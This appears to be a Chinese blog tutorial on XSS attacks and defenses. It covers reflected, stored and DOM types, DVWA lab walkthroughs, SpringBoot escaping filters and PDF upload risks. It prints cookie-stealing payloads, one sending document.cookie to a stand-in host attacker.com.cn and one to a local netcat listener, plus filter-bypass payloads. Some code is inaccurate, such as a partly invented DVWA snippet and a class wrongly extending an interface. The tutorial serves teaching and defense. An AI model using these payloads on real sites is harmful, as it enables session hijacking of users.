☰
XSS跨站脚本攻击从原理到实战:三种类型与SpringBoot防御
2026/9/29 15:41:39 网站建设 项目流程

聊到Web安全,XSS(跨站脚本攻击)几乎是我建议每个新手最先吃透的攻击类型。它不是最复杂的技术,但绝对是最“接地气”的漏洞之一——你不需要搭建多高深的环境,打开浏览器、写几行HTML和JavaScript,就能直观看到攻击效果。更重要的是,XSS的攻击面极广,从评论区留言、搜索框、上传文件预览,到如今各种SPA单页应用的前端路由,几乎处处都可能藏着它的影子。这篇内容我会从XSS的三种基础类型讲起,结合反射型、存储型和DOM型的区别,用一个入门级实战环境带你把完整的利用流程跑一遍,再聊聊我们在真实项目里最常见的防御手段,包括最近很多人问的SpringBoot全局过滤器处理XSS的那点事。适合刚接触Web安全、准备打CTF,或者正在写业务系统且被安全测试搞得焦头烂额的开发朋友。

我始终认为,搞懂XSS最好的方式就是亲手触发一次。光看文档看不懂,光背PayLoad没意义。你得知道这个脚本是怎么进去的、浏览器为什么执行了它、攻击者拿到执行权限后能做什么,然后才会真正明白为什么要在输入侧过滤、输出侧编码。

1. XSS到底是什么:先搞清楚敌人是谁

1.1 一句话理解XSS的核心逻辑

XSS的全称是Cross Site Scripting,跨站脚本攻击。注意它的缩写不是CSS,因为CSS已经被样式表占用了,所以安全圈里都叫XSS。它的核心其实特别简单:攻击者把自己编写的恶意脚本,想办法“藏”在一个本来正常的网页里,让浏览器把它当作网站自身的合法代码来执行。

我经常给同事打一个比方:你家楼下的公告栏上,物业本来只贴了停电通知。结果有人在旁边贴了一张小广告,上面写着“抢购热线”,路过的邻居不知道这是小广告,以为也是物业贴的,很多人就真打电话过去。XSS就是这个过程——公告栏是网页,物业的通知是正常内容,小广告是攻击者的恶意脚本,而浏览器就是那些容易被误导的邻居。浏览器本身没有分辨能力,只要页面HTML里出现了<script>标签,它就会执行,无论这个标签是网站开发者自己写的,还是被用户提交的数据“带”进来的。

攻击者一旦让脚本在受害者浏览器里执行,能干的事情就太多了。举个最常见的例子:脚本读取当前网站的Cookie并发送给攻击者,攻击者就可以冒充受害者登录。再比如脚本可以修改页面内容,把转账页面的收款账号替换成攻击者的账号;可以做键盘记录,收集用户在页面上输入的一切信息;也可以在用户毫不知情的情况下,以用户的身份发起一些请求。这就是为什么XSS在OWASP Top 10里常年占据一席之地,它属于“注入类”漏洞,本质上就是没有处理好“数据”和“代码”的边界。

1.2 为什么XSS值得你花时间好好学

从学习角度讲,XSS是进入Web安全领域的绝佳入口。第一,它的环境要求极低。你不需要一台服务器,也不需要什么渗透测试平台,本地开个HTML文件,甚至直接在浏览器控制台里都能模拟。第二,它的反馈极其直观。你构造一个<script>alert(1)</script>,弹窗出现了,漏洞就被证实了。这种“所见即所得”的正反馈,对新手建立信心非常关键。第三,它的知识链非常完整。学XSS你会顺带接触HTML、JavaScript、HTTP协议、浏览器解析机制、Cookie和Session的工作方式,甚至还会涉及CSP(内容安全策略)、WAF绕过等进阶知识。可以说,一个真正吃透XSS的人,前端知识底子一定不会差。

而且从现实需求看,XSS的实战价值一点都不低。很多公司上线前会请安全团队做渗透测试,XSS是必测项之一。CTF比赛中XSS的出题频率也非常高,尤其是DOM型XSS和反射型XSS,经常作为web题的基础门槛出现。学会XSS,你既能理解攻击者的思路,又能在自己写代码时有意识地避开这些坑,一举两得。

2. 三种XSS类型的原理与分辨

2.1 反射型XSS:瞬时的“回弹”

反射型XSS是三种类型里最直观的,也是最容易理解的。它的原理可以概括成一句话:攻击者把恶意脚本放在请求的URL参数里,服务器把这个参数原封不动地拼进响应页面,浏览器在加载这个URL时,脚本被执行。

我们看一个典型的场景。一个搜索页面,后台代码大致是这样的逻辑:

// 假设这是PHP伪代码 $keyword = $_GET['keyword']; echo "<p>您搜索的关键词是:$keyword</p>";

这个代码的问题很致命:它直接把用户在URL里传入的keyword参数拼到了HTML里,完全没有做任何转义。如果攻击者构造这样一个URL:

http://victim.com/search.php?keyword=<script>alert(document.cookie)</script>

当受害者点开这个链接时,服务器返回的HTML就变成了:

<p>您搜索的关键词是:<script>alert(document.cookie)</script></p>

浏览器解析到<script>标签,脚本立刻执行。为什么叫“反射型”?因为恶意脚本是“打”到服务器上,然后被服务器原封不动地“反射”回用户的浏览器里。它没有存储在服务器端,是一次性的,只能作用于这次请求。

反射型XSS的利用方式通常是攻击者精心构造一个恶意链接,通过各种渠道诱导受害者点击。比如在论坛里发帖、发私信、发邮件,甚至通过短链接服务来隐藏真实URL。URL本身看起来可能相当可疑,攻击者往往会对脚本部分做URL编码来掩盖。反射型XSS最大的局限也在这里——它需要诱导用户主动点击攻击者提供的链接,一旦用户没有点击,攻击就无从谈起。但反过来,因为很多系统会把搜索词直接显示在页面上,反射型XSS在搜索、报错、参数回显等功能点非常常见。

2.2 存储型XSS:持久驻留的“钉子户”

存储型XSS和反射型XSS的核心区别在于,恶意脚本被永久地存储在了服务器端。经典场景是留言板、评论区、个人资料编辑、昵称设置这类功能。攻击者把恶意脚本当作一条正常的数据提交上去,服务器把它存进数据库。之后任何一个用户访问页面,只要这个页面会回显这条数据,脚本就在每个访问者的浏览器里执行。

我举个例子。一个博客网站的评论区,用户评论内容是直接入库的,展示时没有做过滤:

# 这是类似Flask的伪代码,展示评论 comments = get_all_comments() for comment in comments: html += '<div class="comment">' + comment.content + '</div>'

攻击者在评论框里输入:

<script>window.location='http://attacker.com.cn/steal?cookie='+document.cookie</script>

然后提交。这条评论被存进数据库。之后所有来看这篇博客的人,浏览器都会自动向attacker.com.cn发送一个包含受害者Cookie的请求。攻击者拿到Cookie后,就可以在不知道密码的情况下,直接以受害者的身份登录该系统。

我常说存储型XSS是三种类型里危害最大的,理由有三点:第一,它不需要诱导受害者点击特定链接,用户只需要正常访问页面就会中招,覆盖面极大;第二,它是持久的,恶意脚本可能一直躺在数据库里,直到被发现并清除,这段时间内所有访问者都在挨打;第三,它可能攻击到管理员。如果管理员在后台查看用户提交内容时没有做好过滤,存储型XSS就可能成为“窃取管理员权限”的跳板,那影响就不只是个人用户了。很多历史上著名的XSS蠕虫、XSS钓鱼事件,基本都是存储型XSS的杰作。

2.3 DOM型XSS:纯前端的隐蔽陷阱

DOM型XSS和前面两种有明显的不同:它不经过服务器的渲染过程。恶意脚本的注入和触发完全发生在浏览器端的DOM操作中。简单说,是前端JavaScript代码取用了一些“不可信的数据”,然后把这些数据写入了页面HTML,从而被当作代码执行。

这里的“不可信数据”最常见的来源就是window.location、document.URL、location.hash、location.search这些浏览器地址栏里的东西。看一个典型例子:

<!DOCTYPE html> <html> <body> <script> var name = document.location.search.match(/name=(\w+)/)[1]; document.getElementById('welcome').innerHTML = '欢迎您,' + name; </script> <div id="welcome"></div> </body> </html>

这段代码把URL参数name的值取出来,直接通过innerHTML属性拼接进了页面。如果攻击者构造:

http://victim.com/index.html?name=<img src=x onerror=alert(document.cookie)>

Web页面本身从服务器返回的HTML是完全正常的,没有任何恶意内容。但当浏览器加载完这个页面后,JavaScript代码执行,从URL里取出name参数,用innerHTML写入页面。此时浏览器解析这段新写入的HTML,遇到了<img>标签,触发onerror事件,执行了alert(document.cookie)。

DOM型XSS没有被发送到服务器,服务器端日志也看不出异常,流量层面的安全设备同样难以发现,所以它非常隐蔽。这类漏洞在现在的前端项目里很常见,因为现在的SPA单页应用有大量数据交互,开发者经常用innerHTML、document.write()、eval()、jQuery的html()方法等来操作DOM,一旦数据源头不可控,就很容易写出DOM型XSS。而且DOM型XSS的检测也复杂一些,因为需要分析浏览器端的行为,很多静态扫描工具依赖的纯服务端审计方法对它无效。

为了帮你把三种类型一次性分清,我整理了一个对比表:

对比维度反射型XSS存储型XSSDOM型XSS
恶意代码存储位置不存储,仅在URL中存储在服务器数据库不出现在服务器响应HTML中
是否经过服务器是,服务端拼接到HTML是,服务端拼接后存储再输出否,纯前端DOM操作触发
触发方式受害者点击恶意链接受害者访问被感染页面受害者访问构造的URL
危害范围单次、定向持久、大范围隐蔽、单次或持续
维修重点服务端输出转义服务端输入过滤+输出转义前端代码审查+DOM操作安全

3. 入门级利用实战:从DVWA开始

3.1 搭建本地实验环境:DVWA

理论说再多,不如亲手跑一遍。我推荐用DVWA(Damn Vulnerable Web Application,一个故意做得很脆弱的Web靶场应用)来做实验。它是一个PHP+MySQL写的Web应用,内置了多种漏洞靶场,包括XSS、SQL注入、命令注入等。它有一句很经典的话:它不只是一个练习工具,更是教你自己动手找漏洞的“训练场”。

DVWA的搭建非常简单,适合手头资源不多的新手。你需要准备:

  • 一个支持PHP的环境。最省事的方式是装XAMPP,Windows和macOS都有对应的安装包,集成了Apache、PHP和MySQL,装完就是一个本地Web服务环境。
  • DVWA这个开源项目本身。从GitHub上把代码下载下来,放进XAMPP的htdocs目录下。

安装的详细步骤:

  1. 下载并安装XAMPP,启动Apache和MySQL服务。这一步通常会遇到80端口被占用的问题,可以在XAMPP配置里把Apache端口改为8080或者自定义端口。
  2. 从GitHub下载DVWA源码,解压后放到htdocs目录下,文件夹建议命名为DVWA。
  3. 找到目录里的config/config.inc.php.dist文件,复制一份并把它重命名为config.inc.php。这个文件是DVWA的数据库配置文件。
  4. 编辑这个配置文件,把db_user和db_password设置为XAMPP MySQL的默认账号root,密码留空(XAMPP默认的本地环境root密码就是空的)。
  5. 在浏览器里访问http://localhost/DVWA,页面会提示数据库未初始化,点击页面底部的Create / Reset Database按钮,它会自动创建数据库和表。
  6. 初始化完成后,用默认账号密码admin/password登录,就能看到DVWA的主界面。

登录后进入Security页面,你可以调整安全等级。刚开始建议选Low,这个级别下所有漏洞都没有任何防护,非常适合体验“原生漏洞”的效果。等你在Low级别完全搞懂了,再调成Medium和High,研究它的防护方式和绕过思路。

重要提醒:DVWA是故意被做成有漏洞的应用,而且里面很多攻击代码会真实地修改系统文件或者数据库。请一定在本地虚拟机、或者你自己的电脑本地环境里使用,绝对不要部署到公网服务器上。本地没搭好环境之前不要开始实验,也别在别人的站点上尝试这些操作。

3.2 实战一:反射型XSS完整利用

环境准备好后,我们开始第一个实战——反射型XSS。DVWA中它是一个搜索功能。

  1. 在DVWA左侧菜单点击XSS (Reflected),页面显示一个“What's your name?”的输入框和一个Submit按钮。
  2. 先输入一个正常的字符串,比如test,点击Submit。浏览器地址栏会变成http://localhost/DVWA/vulnerabilities/xss_r/?name=test#,页面会回显Hello test。这个细节很关键:输入的内容是通过URL参数name传给服务器的,服务器把它拼进了响应页面。
  3. 按F12打开浏览器的开发者工具,切到Elements标签。在HTML源码里找到你输入内容的渲染位置,你会看到它直接被包裹在<pre>和<em>标签中,说明服务器确实把参数值原样拼进了HTML。
  4. 现在输入一个小测试:<script>alert(1)</script>,点击Submit。这时页面会弹出一个写着“1”的对话框,到这一步,反射型XSS漏洞已经被确认。

这只是验证。我们把利用做得更完整一点。将URL参数改为:

http://localhost/DVWA/vulnerabilities/xss_r/?name=<script>new Image().src='http://127.0.0.1:8888/collect?cookie='+document.cookie;</script>

这里我用new Image()动态创建一个图片请求,把document.cookie作为参数拼在URL里,向本地8888端口发送请求。你先在本地启动一个简单的HTTP监听工具(可以用Netcat:nc -lvp 8888,或者用Python:python3 -m http.server 8888),然后访问这个恶意URL。观察监听工具,你会看到它收到了一串请求日志,里面携带了DVWA的PHPSESSID值。这就是一个非常典型的XSS信息窃取演示——它把用户的Cookie外传了。

刚才这个演示全程发生在你自己的本地环境里,非常安全。但它展示了核心流程:构造恶意脚本 → 让浏览器执行 → 脚本把敏感信息外发。在实际攻击场景中,攻击者会把这里的URL编码成一段看似无害的短链接,骗受害者点击,然后利用窃取的Cookie冒充受害者身份登录系统。

反射型XSS的利用关键点,我总结一下:第一,你要确认输入点在URL还是表单,这决定了恶意脚本的投递途径;第二,要看输入被拼接到了哪个HTML上下文,是标签内、属性内还是script代码内,这决定了如何构造有效载荷;第三,感受一下受害者的角度——攻击者说“你点一下这个链接”,受害者看到的是一个普通的网址,根本无法判断它后面的脚本。

3.3 实战二:存储型XSS利用

接下来是存储型XSS。DVWA中它的功能是访客留言本。

  1. 左侧菜单点击XSS (Stored),页面上有一个Message输入框和一个Name输入框,下面显示已有的留言列表。
  2. 先在Message框里输入一个正常留言,比如hello world,Name填test,点击Sign Guestbook。页面会刷新,下面多出一条留言。
  3. 现在查看页面HTML源码,你会发现用户提交的Message和Name都是直接显示在HTML中的,没有任何转义。
  4. 我们依次提交几条测试payload:
<script>alert(document.cookie)</script> <IMG SRC=# onmouseover="alert('xss')"> <a href="javascript:alert(1)">点我</a>

第一条直接弹Cookie,第二条是把恶意脚本挂载到图片的鼠标事件上,当访问者把鼠标移到图片上时触发弹窗,第三条是典型的事件型链接。

注意:存储型XSS的关键验证点在于“持久性”。你提交完恶意脚本后,刷新页面,甚至关闭浏览器、隔一天再打开页面,你会发现那条留言依然在,脚本依然在加载时执行。这比反射型直观多了——你没有关注地址栏,没有点特定链接,仅仅是最普通的页面访问,就中招了。这就是存储型XSS最可怕的地方。

如果我在本地把留言脚本改成读取Cookie并发送到一个远程监听地址,它的效果就和我上面反射型演示一样,但触发者会变成所有来看留言的人。在CTF比赛里,存储型XSS经常和“爬虫bot”配合:比赛系统提供一个报告URL功能,会模拟管理员去访问你提交的URL。如果你在页面里注入了存储型XSS,而管理员平台本身也存在回显,就能借这个漏洞拿到管理员的会话。所以存储型XSS也是很多渗透测试链路的第一环。

3.4 实战三:DOM型XSS的隐蔽触发

DVWA里有专门针对DOM型XSS的模块,我们看一下。

  1. 左侧点击XSS (DOM),页面是一个下拉选择框,选项是几个英文单词。
  2. 当你选择某个选项提交时,浏览器地址栏的URL会变成http://localhost/DVWA/vulnerabilities/xss_d/?default=English。注意这里的参数是default,服务器并没有在返回的HTML中拼接这个参数值,页面是由JavaScript在本地读取URL参数后动态修改DOM的。
  3. 打开开发者工具,搜索页面源码中的default相关逻辑。你会发现前端JavaScript里有类似这样的代码:
var lang = document.location.href.indexOf('default=') + 8; location.href = document.location.href.substring(0, 0) + ...

更具体地说,DVWA的DOM型XSS页面会读取URL中的default参数,然后调用document.write()把它写进页面的下拉框里。document.write()是DOM型XSS的重灾区,它接收的字符串如果包含HTML标签,就会被浏览器当HTML解析执行。

  1. 我们把URL改成:
http://localhost/DVWA/vulnerabilities/xss_d/?default=<script>alert(1)</script>

页面加载后,document.write()把这个<script>标签写进了页面,弹窗出现。如果你把URL源码发给别人,他们只看HTTP响应,会发现返回的HTML是完全干净的,没有任何脚本内容。

这清楚地证明了DOM型XSS和反射型XSS的关键区别:服务器对HTTP请求的处理完全正常,漏洞发生在浏览器端的JavaScript执行阶段。这也是为什么很多依赖“看服务端返回内容”的自动化扫描器对DOM型XSS无能为力。我做过几次测试,用像Burp Suite的Active Scan功能,有时能扫出反射型,但DOM型几乎都要靠手工分析前端JS才能发现。如果你在接触CTF,DOM型XSS经常配合前端路由使用,payload写在#后面(hash部分),不给服务器日志留下痕迹,非常隐蔽。

4. 真实项目里的XSS防御:从过滤器到输出编码

4.1 输入过滤为什么只是“防君子不防小人”

聊完攻击,必须聊防御。否则你学完XSS只会有一种“我看啥都像漏洞”的焦虑感,却不能真正帮自己把项目做安全。

很多人一提到XSS防御,第一反应就是“写个过滤器,把所有输入里的<script>都替换掉”。这个思路不能算错,但远不够。把输入侧过滤当作唯一防线的做法,在真实项目里有几个很大的问题:

第一,过滤范围很难穷尽。恶意代码不只是<script>标签。上面实战中你已经看到了,<img src=x onerror=...>能触发,<a href="javascript:...">能触发,<svg onload=...>能触发,甚至用<style>里的@import都能加载外部脚本。如果你只挡了少数几个标签,绕过方式有一大堆。

第二,过滤逻辑会破坏正常业务。用户签名档里写一个“最近在看《 》这本书”,你一个过滤器把<html>当成标签删了,这种破坏用户内容的行为,会让客服被骂得很惨。请记住:输入过滤依赖的是黑名单或白名单策略,要么容易漏,要么容易误伤。

第三,真正可靠的核心防线其实是输出侧编码。你控制不了所有输入源头,但你一定能控制输出时如何呈现。业界公认的XSS防御原则就是在数据到达HTML上下文之前,把它转义成无害的文本形态。

关于“什么时候过滤、什么时候编码”,我建议你记住这个分工:输入侧过滤,主要用于防御存储型XSS,它的作用是让入库的数据尽量“干净”;输出侧编码,用于防御所有类型的XSS,尤其在反射型和DOM型中,它是不可绕过的决定性防线。真正的安全代码,应该是两层都做。

4.2 SpringBoot全局过滤器处理XSS的完整思路

最近互联网上关于“SpringBoot项目全局过滤器处理上传PDF文件时XSS攻击”的讨论不少,我带大家把这个场景拆开来看。先不要急着写出一个过滤器,我们先明确XSS过滤器的职责和边界。

一个常规的SpringBoot全局XSS过滤器,通常负责拦截所有HTTP请求,通过包装HttpServletRequest,把请求参数中的HTML标签和敏感字符(比如< > " ' ( ))转义成HTML实体。实现方式大致分这几步:

第一步,实现一个Filter,并且通过@Component或者@Configuration把它注册进Spring的过滤链。

@Component public class XssFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 包装请求对象,让后续的request.getParameter()返回的是转义后的内容 XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper( (HttpServletRequest) request); chain.doFilter(xssRequest, response); } }

第二步,需要自定义一个HttpServletRequestWrapper。为什么要包装?因为过滤器拿到的request.getParameter()是在请求解析时就已经卡死的,你没法在过滤器里修改原始请求的参数集合,所以最干净的方法是包装原来的Request对象,重写getParameter、getParameterValues和getHeader方法,在取值时做转义处理。

public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } @Override public String getParameter(String name) { String value = super.getParameter(name); return cleanXss(value); } @Override public String[] getParameterValues(String name) { String[] values = super.getParameterValues(name); if (values == null) { return null; } String[] cleaned = new String[values.length]; for (int i = 0; i < values.length; i++) { cleaned[i] = cleanXss(values[i]); } return cleaned; } private String cleanXss(String value) { if (value == null) { return null; } // 对核心HTML敏感字符做HTML实体转义 return value.replaceAll("<", "&lt;") .replaceAll(">", "&gt;") .replaceAll("\"", "&quot;") .replaceAll("'", "&#x27;") .replaceAll("\\(", "&#x28;") .replaceAll("\\)", "&#x29;"); } }

这段代码的核心就是replaceAll那一串,把所有可能被当成HTML标签开始符、属性界定符、脚本函数括号的字符,替换成HTML实体。这样即使参数值是<script>alert('xss')</script>,经过替换后变成&lt;script&gt;alert(&#x27;xss&#x27;)&lt;/script&gt;,浏览器把它当作纯文本显示,不会当作标签解析。

在写这类过滤器时,有一个特别需要注意的细节:body里读取的JSON参数是不走getParameter()的。如果你的项目采用前后端分离,请求体都是JSON格式,SpringMVC是通过@RequestBody读取body内容并反序列化为对象的,而不是通过参数解析。这意味着上面的过滤器只能过滤URL参数和表单格式的请求体,对JSON请求无能为力。

处理JSON请求体需要额外写一个HttpInputMessage包装器,拦截getBody()的输入流,读取InputStream再对内容做转义:

public class XssHttpInputMessage extends HttpInputMessage { private HttpInputMessage original; private byte[] cleanedBody; public XssHttpInputMessage(HttpInputMessage original) throws IOException { this.original = original; String body = StreamUtils.copyToString(original.getBody(), StandardCharsets.UTF_8); body = cleanXss(body); this.cleanedBody = body.getBytes(StandardCharsets.UTF_8); } @Override public InputStream getBody() { return new ByteArrayInputStream(cleanedBody); } @Override public HttpHeaders getHeaders() { return original.getHeaders(); } }

然后在SpringMVC的RequestAdvice或者过滤器里,把它接入到请求处理的链路中。

这样做有一个现实代价,就是JSON里某些业务字段本身允许包含HTML格式,比如一个富文本编辑器的正文内容。如果全局无差别地把整个JSON body做转义,富文本里的<p>标签就全变成&lt;p&gt;,前端拿到的就不是HTML而是显示转义符了。所以全局过滤器在真实项目里往往要配合豁免机制——通过一个白名单URL列表,或者通过注解标记某些接口不经过XSS过滤。

4.3 处理上传PDF文件时的XSS:一个特别场景

热搜里提到的“SpringBoot项目全局过滤器处理上传PDF文件时的XSS攻击”,这个话题值得单独拿出来说,因为它混合了“上传”和“XSS”两个不太一样的知识点。

先明确一点:PDF文件本身可能包含JavaScript(PDF是有内嵌脚本能力的),所以在浏览器里直接打开一个恶意PDF,有可能触发脚本,但这通常被归类为“恶意文件上传”或者“PDF钓鱼”,和传统意义上的XSS并不完全相同。而“上传PDF文件时的XSS攻击处理”,在真实项目里通常指两类问题:

第一类,上传文件名和文件元信息被插入恶意脚本。用户上传一个文件,你可能会在页面上回显文件名,如果文件名本身是<script>alert(1)</script>.pdf这种形式,而你在处理时直接拼接到页面中,那就会触发反射型或存储型XSS。这种情况,你的全局XSS过滤器就能派上用场——它会把这个文件名参数转义成安全的文本。

这类问题容易被忽视,我见过好几次项目里全局过滤器已经写好了,但因为上传逻辑是单独封装的service,没有走常规的Controller参数路径。比如用MultipartFile接收文件,直接拿originalFilename拼到页面上。这种路径绕开了getParameter(),所以过滤器对它是无效的。你必须在上传服务内部,对文件名也做同样转义,或者宁愿用UUID重命名文件,从根源上消除不可信的文件名。

第二类,用户上传的PDF文件在浏览器预览时被解析出恶意JavaScript。这种问题的本质不在输入参数,而在于输出环境的信任边界。处理策略通常是这几种:

  • 服务器端下载PDF时不内嵌预览,设置Content-Disposition: attachment的响应头,强制浏览器下载而不是打开,这样PDF内部的脚本就不会被浏览器解析器执行。
  • 如果业务必须支持在线预览,那么在预览页面上不要简单地window.open(pdfUrl),而是单独部署一个预览服务,使用隔离的域名,并且设置Content-Security-Policy头来限制脚本执行。也可以使用专门的PDF预览组件(比如PDF.js),并且把JavaScript执行权限关掉。
  • 上传服务在接收PDF时,除了XSS过滤器,还要做文件类型检测、Magic Number校验、文件大小限制、畸形文件扫描,甚至用杀毒引擎扫描内容。

我把这两类问题的处置方式整理成了一张表,方便你区分:

问题表现攻击路径核心防御措施
文件名包含恶意脚本服务端回显文件名时触发XSS全局过滤器转义 + 服务内对文件名转义 + 用随机UUID替代原始文件名
PDF文件内嵌恶意JavaScript浏览器直接打开PDF时执行脚本强制下载而非预览 + 隔离域预览 + 设置CSP限制脚本 + 杀毒扫描
PDF元数据(标题、作者)携带脚本客户端阅读器解析元数据时触发PDF体积较大时建议第三方杀毒扫描 + 整体转存为安全格式后再提供下载

所以回到最初的问题:一个全局过滤器能不能解决上传PDF时的XSS?答案是:它能解决文件名字段这类“请求参数型XSS”,但解决不了文件内容本身携带脚本的问题。后者必须靠下载策略、预览隔离、输出侧CSP这一整套方案来兜底。

5. 绕过手法与检测排查:从CTF到实战

5.1 常见绕过姿势:知道它们存在就够了

作为入门,你可以先知道有哪些“进阶玩法”,不用急着全部掌握。因为XSS的绕过基本都是围绕“过滤器的漏洞”展开的:如果过滤器只屏蔽了<script>标签,攻击者可以换<img>标签加onerror事件;如果过滤器屏蔽了onerror这个关键字,攻击者可以用onerror的变体大小写混合OnErRoR,或者用Unicode编码、HTML实体编码来绕过字符串匹配;如果过滤了脚本关键字,可以用<svg><animate onbegin=...>这种冷门标签。

比如一个常见的Dash 1秒级绕过思路:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

这串代码里,"""巧妙闭合了前面的标签属性,<SCRIPT>被浏览器大小写不敏感地解析,从而触发。很多初级过滤器的正则匹配是区分大小写的,或者只匹配了纯<script>而忽略了前后夹带的其他标签。

但我的建议是:入门阶段不要过度沉迷绕过。先踏踏实实理解基础原理,把三种类型和典型payload吃透。绕过是建立在对浏览器解析机制深刻理解之上的,不是背几个payload就行的。等你把HTML解析规则、JavaScript执行时机、WAF的规则逻辑搞清楚了,绕过是水到渠成的能力。

5.2 手工检测XSS的固定流程

从实战角度,我分享一下我在测试一个站点时的固定检测流程。这套流程不管是自己写的项目还是CTF题目都适用:

第一步,找输入点和输出点。打开目标页面,逐个检查搜索框、表单、URL参数、路由参数、上传点。凡是用户可控且可能在页面上回显的位置,都可能是XSS的输入点。

第二步,验证特殊字符是否被原样回显。在每一个输入点提交这些字符:<>"'/,然后看页面上回显的内容。如果这些字符原封不动地出现在HTML源码中,就说明这个位置存在注入可能,接下来要看它落在哪种上下文里。

第三步,确认上下文,决定payload。如果输入落在标签之间的文本区域,比如<div>[这里]</div>,直接构造<script>或者<img onerror>就行。如果输入落在HTML属性值里,比如<input value="[这里]">,那你需要先用"闭合属性,再构造新的事件,payload变成"><script>alert(1)</script>或者" onfocus="alert(1)。如果输入落在JavaScript字符串里面,比如var name = '[这里]';,你需要闭合引号和分号,payload变成'; alert(1);//。

第四步,构造无害验证payload。先用alert(1)验证,再用document.domain、document.cookie验证是否存在实际危害。等确认了漏洞,再考虑写完整的利用脚本。

第五步,专项测试DOM型。检查页面里的innerHTML、document.write()、outerHTML、insertAdjacentHTML相关代码,查看它们是否接收了URL参数、location.hash、postMessage消息等外部数据源。

5.3 常见问题速查与排错小结

我整理了一些新手在实验中常见的问题速查表,你如果卡住了直接对照看:

问题现象可能原因解决办法
提交<script>alert(1)</script>后没有弹窗输入被浏览器解码过;或服务器已做转义查看页面HTML源码,确认代码是否变成了&lt;script&gt;;如果转义了,说明已经防御,换个上下文再试
弹窗出现但刷新后就没了这是反射型XSS的正常表现确认你是从URL参数传入的,还是从表单提交的;重放URL参数即可复现
存储型XSS留言提交后刷新还在,但再次弹窗失败可能输入被中间件拦截或下次读取时做了编码检查数据库存储的内容是否被改写;检查不同位置的输出是否都做了过滤
DOM型XSS在URL编码后失效浏览器对URL编码字符会先解码再传给JS构造payload时,注意document.URL取得的值是编码前还是解码后的,必要时用decodeURIComponent自己处理
页面因为全局过滤器把正常业务显示乱了过滤器误伤了富文本等合法内容为富文本、编辑器等接口配置URL白名单,或者按接口细化过滤规则

最后再讲一个我在工作中踩过的坑:有一次我负责的项目引入了全局XSS过滤器,结果上线后用户反馈“帖子标题里的中文引号全变成怪字符了”。排查半天发现,过滤器里不仅转义了<>",还把'也做了编码,导致用户输入里的中文单引号被双重编码显示。从那以后我养成了一个习惯,过滤器要非常克制,只处理真正构成HTML语法边界的字符,不要为了“多一层安全”就把所有符号都转一遍。多用样例数据回归测试,而不是纯靠文档判断。

写在最后的实际操作小结

我个人在实际操作中的体会是,XSS的防御不是写一个过滤器就结束的,而是一个贯穿设计和编码始终的思维习惯。你在写一行把变量拼进前端模板的代码时,在接收一个上传文件的名字时,在把后端返回的富文本插入页面时,都要下意识地问一句:这里的数据是可信的吗?是谁在什么情况下写入的?输出时有没有编码?

条件允许的话,我建议你在自己负责的项目里搭一套自动化的XSS检测机制。最基础的做法是,在测试用例里专门加几组XSS payload,每次构建部署后自动过一遍测试。像<script>alert(1)</script>、<img src=x onerror=alert(1)>、javascript:alert(1)这些,只要断言返回页面不包含可执行标签,就能提前拦住一大部分问题。我这么做了半年之后,安全测试反馈的XSS类问题数量明显下降了。

学XSS这件事,不用急着追求把所有payload背下来,先把三种类型里的每一种亲手复现一次。当你真的在一个靶场里通过自己的构造触发了一次弹窗,你才会真正理解,为什么大家都在说:安全是开发的另一半责任。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询